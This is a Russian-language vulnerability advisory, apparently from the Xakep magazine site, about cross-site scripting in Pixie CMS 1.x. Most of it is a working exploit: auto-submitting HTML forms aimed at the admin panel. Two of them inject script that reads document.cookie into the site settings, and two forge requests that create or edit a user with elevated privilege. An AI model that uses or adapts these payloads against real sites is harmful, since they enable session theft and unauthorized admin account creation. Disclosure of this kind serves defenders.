Продукты «Хакера»

  • Свежий печатный выпуск

    Свежий печатный выпуск

    20+ лучших статей квартала. 240 страниц

    2000 ₽ + доставка СДЭК

    Заказать журнал
  • Годовая подписка на Xakep.ru -40%, успей сэкономить!

    Годовая подписка на Xakep.ru

    Полный доступ к крутым статьям и архиву

    6000 ₽ / год

    Подписаться
  • Вход в тему пентеста от Хакера

    Вход в тему пентеста от Хакера

    Статьи, видеоуроки и задачи. Разработано Хакером

    7000 ₽ - доступ навсегда

    Купить курс
  • Спецвыпуск Хакера  №4. Лучшее за 2021-2022

    Спецвыпуск Хакера №4. Лучшее за 2021-2022

    22 статьи. 240 страниц. Автоматизируем Burp +

    2000 ₽ + доставка СДЭК

    Заказать журнал

Программа: Pixie CMS 1.x

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на
целевую систему. Уязвимость существует из-за недостаточной обработки входных
данных при обработке HTTP запросов. Атакующий может выполнить произвольный
сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Эксплоит:

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=site"
method="post" name="main" >
<input type="hidden" name="sitename" value="Pixie" />
<input type="hidden" name="url" value="http://host/" />
<input type="hidden" name="default" value="blog/" />
<input type="hidden" name="keywords" value='key1"><script>alert(document.cookie)</script>'
/>
<input type="hidden" name="site_auth" value="sute author" />
<input type="hidden" name="site_cright" value="copyright" />
<input type="hidden" name="cleanurls" value="yes" />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update"
/>
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=pixie"
method="post" name="main" >
<input type="hidden" name="langu" value="en-gb" />
<input type="hidden" name="time_zone" value="+0" />
<input type="hidden" name="dstime" value="no" />
<input type="hidden" name="dateformat" value="%Oe %B %Y, %H:%M" />
<input type="hidden" name="rte" value="1" />
<input type="hidden" name="logs" value="5" />
<input type="hidden" name="sysmess" value='hello message"><script>alert(document.cookie)</script>'
/>
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update"
/>
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=users"
method="post" name="main" >
<input type="hidden" name="uname" value="myusername" />
<input type="hidden" name="realname" value="My Real Name" />
<input type="text" name="email" value="myemail@myemaildomain.com" />
<input type="hidden" name="user_new" value="Save" />
<input type="hidden" name="privilege" value="2" />
</form>
<script>
document.main.submit();
</script>

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=users"
method="post" name="main" >
<input type="hidden" name="uname" value="test" />
<input type="hidden" name="realname" value="test name2" />
<input type="hidden" name="email" value="myemail@myemaildomain.com" />
<input type="submit" name="user_edit" id="sbmtit" value="Update" />
<input type="hidden" name="privilege" value="2" />
<input type="hidden" name="user_id" value="2" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии